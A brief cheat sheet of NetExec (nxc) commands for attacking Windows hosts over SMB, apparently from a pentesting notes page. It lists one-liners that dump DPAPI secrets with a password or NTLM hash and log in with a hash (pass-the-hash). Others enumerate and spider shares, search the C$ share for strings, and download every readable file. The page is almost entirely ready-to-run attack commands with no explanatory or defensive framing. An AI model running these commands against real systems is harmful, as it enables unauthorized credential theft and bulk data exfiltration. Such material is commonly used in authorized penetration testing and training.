NetExec
URL to tool: https://github.com/Pennyw0rth/NetExec
# DPAPI with a password (add --local-auth if needed)
nxc smb '<TARGET-IP>' -u '<USERNAME>' -p '<PASSWORD>' --dpapi
# DPAPI with a hash (add --local-auth if needed)
nxc smb '<TARGET-IP>' -u '<USERNAME>' -H :'<NTLM-HASH>' --dpapi# Login with a password
nxc smb hosts.txt -u <username> -p <password> --shares
# Login with a hash
nxc smb hosts.txt -u <username> -H <ntlm>:<ntlm>
# List all readable files
nxc smb <target> -u <username> -p <password> -M spider_plus
# Search for files with certain string
nxc smb <target> -u <username> -p <password> --spider C\$ --pattern <string>
# Dump all files
nxc smb <target> -u <username> -p <password> -M spider_plus -o DOWNLOAD_FLAG=TrueLast updated